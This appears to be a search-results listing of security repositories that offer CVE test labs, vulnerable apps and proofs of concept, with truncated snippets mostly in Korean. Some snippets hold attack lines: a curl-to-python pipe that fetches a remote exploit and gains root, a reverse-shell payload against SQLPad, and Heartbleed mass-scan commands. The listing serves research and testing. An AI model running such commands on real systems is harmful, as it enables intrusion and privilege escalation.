16483 matches found
TEST-CVE-2026-31431
TEST-CVE-2026-31431 oc new-app -n default https://github.com/gmeghnag/TEST-CVE-2026-31431 oc rsh -n default deployment/test-cve-2026-31431 sh-5.1$ id uid=10011001 gid=0root groups=0root sh-5.1$ curl -s https://copy.fail/exp | python3.12 && su root@test-cve-2026-31431-78f6d9cc97-n7d5j / id uid=0ro...
heartbleed-test
$ python getwebsiteurls.py "searchstring" websites.txt $ sh heartbleed-test.sh websites.txt | tee -a scanresult.log...
CVE-2026-3304
CVE-2026-3304 실습 환경 교육 및 연구 목적으로만 사용하십시오. 승인 없이 시스템을 공격하는 것은 불법입니다. 이 실습 환경은 Multer 2.1.0 패치와 공식 테스트 코드를 분석하여 구축되었습니다. 취약한 서버는 패치 테스트에 설명된 정확한 조건을 재현하며, 패치된 서버는 Multer 2.1.0을 실행하여 수정 사항이 작동하는지 확인합니다. 취약점 개요 필드| 세부 정보 ---|--- CVE| CVE-2026-3304 대상| Multer 열림, 데이터 쓰기 시작 3. 파트 2 헤더 수신 name 속성 누락 →...
Telnet-TestVuln-CVE-2026-24061
Telnet Docker 테스트 취약점 CVE-2026-24061 docker build -t telnet-vuln . 실행 docker run -d \ --name telnet-vuln \ -p 127.0.0.1:2323:23 \ telnet-vuln...
NPM: vm2: External module allowlist uses a raw prefix test, so a prefix-sharing sibling package is treated as allowlisted
NPM: vm2: External module allowlist uses a raw prefix test, so a prefix-sharing sibling package is treated as allowlisted vulnerability discovered by ? in WordPress Npm vm2 versions = 3.11.6...
vm2: External module allowlist uses a raw prefix test, so a prefix-sharing sibling package is treated as allowlisted
Summary isPathAllowedForModule decides whether a resolved path belongs to an allowlisted external module using a raw string prefix test. nodemodules/foo2 starts with nodemodules/foo, so a package whose name merely shares a prefix with an allowlisted one is treated as being inside it, and a relati...
CVE-2023-48123
CVE-2023-48123 CVE-2023-54436 Exp 테스트 CVE-2023-48123...
cve-2024-23113-test-env
CVE-2024-23113 FortiOS 테스트 환경 시뮬레이션된 취약한 FortiOS 인스턴스에 대해 CVE-2024-23113 Nuclei 템플릿을 검증하기 위한 Docker 기반 테스트 환경입니다. 🔍 개요 이 환경은 취약한 FortiOS HTTP 인터페이스를 시뮬레이션하여 CVE-2024-23113 Nuclei 템플릿의 탐지 기능을 테스트합니다. 로그인 페이지, API 엔드포인트 및 적절한 버전 정보를 포함한 현실적인 FortiOS 응답을 제공합니다. 🚀 빠른 시작 사전 요구 사항 Docker Docker Compose...
CVE-2024-32002
CVE-2024-32002용 Poc, 개발자의 테스트 케이스에서 만든 스크립트: https://github.com/git/git/commit/97065761333fd62db1912d81b489db938d8c991ddiff-2ba261bbd9de8e881d700e696eebab0df581473ba50b671b2cbe4bbee5ca87b0 이 소프트웨어는 순전히 학술 연구와 효과적인 방어 기법 개발을 목적으로 제작되었으며, 명시적으로 승인된 경우를 제외하고 시스템을 공격하는 데 사용하기 위한 것이 아닙니다. 프로젝트 유지관리자는...
HTTP-2-RapidReset-CVE-2023-44487-Testlab
이 저장소는 제 논문 연구를 위해 만든 도커 실습실의 소스 코드입니다...
compromised-action
compromised-action テストリポジトリ: CVE-2025-30066 スタイルの侵害された GitHub Action をシミュレート（セキュリティ研究/テスト用 chainradar）...
cve-2021-3007-vulnerable
CVE-2021-3007 취약한 테스트 환경 보안 스캐너에서 CVE-2021-3007 탐지를 검증하기 위한 의도적으로 취약하게 만든 테스트 환경입니다. 취약점 개요 속성| 값 ---|--- CVE ID| CVE-2021-3007 심각도| 치명적 CVSS 9.8 유형| 안전하지 않은 역직렬화 → RCE 영향을 받는 버전| Laminas HTTP 2.14.2, Zend Framework 3.0.0 CWE| CWE-502 신뢰할 수 없는 데이터의 역직렬화 빠른 시작 Clone repository git clone...
SOC-L1-OSINT-Investigation-MikroTik-CVE-2018-1156
SOC L1 위협 조사: MikroTik RouterOS 다중 노출 서비스 분석가: Jonatan Alexander Guerrero Gomez | 역할 대상: SOC L1 / 주니어 사이버보안 분석가 상태: 조사 종료 | 심각도: 높음 요약 인터넷에 노출된 MikroTik RouterOS 장치를 식별하는 사전 위협 헌팅 연습으로, 여러 서비스가 노출되어 있었습니다. 조사 결과 2000/TCP의 노출된 Bandwidth-Test 서비스가 높은 심각도의 RCE 취약점인 CVE-2018-1156과 연관되었습니다. 1701/UDP의...
SignChecker
SignChecker CVE-2022-21449 취약점을 시연하기 위한 테스트 도구입니다...
log4j2-vulnerable-spring-app
Log4j 2 CVE-2021-44228 테스트 샘플 애플리케이션 spring-boot-starter-log4j2:2.6.1 log4j 2.14.1 기반 사용 가능한 엔드포인트 엔드포인트| 요청 메서드| 매개변수 ---|---|--- vulnerablerequestget| GET| v=payload vulnerablerequestpost| POST| v=payload vulnerablerequestheaderua| GET / POST| Header User-Agent 테스트 가능 GET $ curl...
CVE-2020-27194-exp
CVE-2020-27194-exp 테스트...
Dubbo-CVE-2020-1948
Apache Dubbo CVE-2020-1948 테스트 환경 들어가며 이 취약점이 처음 등장했을 당시, 그 위험성을 검증하기 위해 인터넷에서 많은 사람들이 정리한 예제를 찾아보았지만, 그 어느 것도 이 취약점을 원활하게 검증할 수 없었습니다. 그래서 직접 환경을 만들어 이곳에 공유하니, 많은 교류 부탁드립니다! 본 환경은 Apache Dubbo 공식 예제 환경을 기반으로 개조되었으며, 공식 예제 프로그램에서 컴파일 중 발생하는 몇 가지 오류를 수정했습니다. 예를 들어: 공식 예제 코드에서 사용된 DubboService 클래스는...
CVE-2022-0944
CVE-2022-0944 PoC SQLPad에서 RCE를 위한 PoC입니다. 이 예제는 리버스 셸을 생성하지만, 페이로드 내 'exec' 호출의 명령을 변경하여 사용 가능한 모든 명령을 실행하도록 페이로드를 수정할 수 있습니다. payload = f" process.mainModule.require'childprocess'.exec'/bin/bash -c "bash -i & /dev/tcp/reversehost/reverseport 0&1"' " 요구 사항 Python 3 사용법 1. 리스너 시작...